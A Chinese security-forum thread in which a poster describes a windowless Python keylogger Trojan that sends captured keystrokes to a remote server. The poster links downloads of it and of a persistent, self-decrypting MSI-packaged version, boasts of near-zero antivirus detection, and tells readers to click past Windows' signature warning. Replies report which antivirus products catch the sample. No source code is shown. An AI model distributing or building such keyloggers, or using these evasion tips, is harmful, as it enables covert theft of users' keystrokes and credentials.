Python写的超简单木马，居然都不报毒

显示全部楼层 · 发表于 2024-8-19 23:27:25

本帖最后由 litadezhongquan 于 2024-8-20 19:01 编辑

我用python的socket和keyboard库写了一个键盘记录器启动后无窗口，使用.keypress事件捕获用户键盘事件，并在捕获后立即通过socket发送给服务器。
服务器将来自相同IP发送的键盘数据保存在文件中，
就制作好了一个简易有效的键盘记录器木马

没有任何免杀处理，用pyinstaller打包的
微步了一下，竟然只有一个Panda报了木马，1/27

有点震惊。

这个小毒样本下载：http://laochou.cloud/OtherProjec ... eyBoardRecorder.zip

什么原理啊大佬们

-----------------------------------更新线--------------------------------------------

鉴于小家伙的无害，我制作了一个加强版本，具备持久化和自解密等工作，并打包在msi安装包中。

新版本下载链接：http://laochou.cloud/OtherProjec ... j/KeyBoardAssis.zip
我自己微步了一下，通过率100%，0/27检出（没有一个能打的？还是微步环境问题？

ps：因为只是打包了一下，所以可能会被Windows签名检查拦住，点更多信息->仍要运行就可以了，这跟本体没关系

显示全部楼层 · 发表于 2024-8-19 23:32:42

本帖最后由 784696777 于 2024-8-19 23:35 编辑

卡巴双击不杀，可能真的太简单了吧，你能看到我打了什么吗？opentip 认为 clean：Kaspersky Threat Intelligence Portal — Report — AFB469340F09A2C67472FA55F9BB9976C0926430C9F4A026...

显示全部楼层 · 发表于 2024-8-19 23:34:50

本帖最后由 litadezhongquan 于 2024-8-19 23:35 编辑

784696777 发表于 2024-8-19 23:32
卡巴双击不杀，可能真的太简单了吧，你能看到我打了什么吗？

u
space
w
o
backspace
backspace
n
a
g
e
space啊吧啊吧

显示全部楼层 · 发表于 2024-8-19 23:35:37

安全厂商：我们其实只是想让防火墙有点存在感罢了

显示全部楼层 · 发表于 2024-8-19 23:41:00

litadezhongquan 发表于 2024-8-19 23:34
u
space
w

好像不是我打的

，我上面那句回帖是开着打的

显示全部楼层 · 发表于 2024-8-19 23:59:01

https://www.virustotal.com/gui/f ... 02685ed22db5d3a835e

显示全部楼层 · 发表于 2024-8-20 00:22:25

江民捉住了

显示全部楼层 · 发表于 2024-8-20 07:29:15

腾讯电脑管家

显示全部楼层 · 发表于 2024-8-20 08:49:35

金山毒霸漏，已反馈

显示全部楼层 · 发表于 2024-8-20 09:01:18

本帖最后由沧桑浪子于 2024-8-20 09:02 编辑

360杀！！！
类型:木马-Win64/Trojan.Generic.HgEATfIA
描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云安全引擎
文件路径:F:\360SANDBOX\SHADOW\08\KeyBoardRecorder\KeyBoardRecorder我是病毒.exe
文件大小:7.20M (7,548,050 字节)
文件指纹（MD5）:fac8a866859c81c0f6366cd7c6c3ae93
处理建议:隔离文件

[病毒样本] Python写的超简单木马，居然都不报毒

评分

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块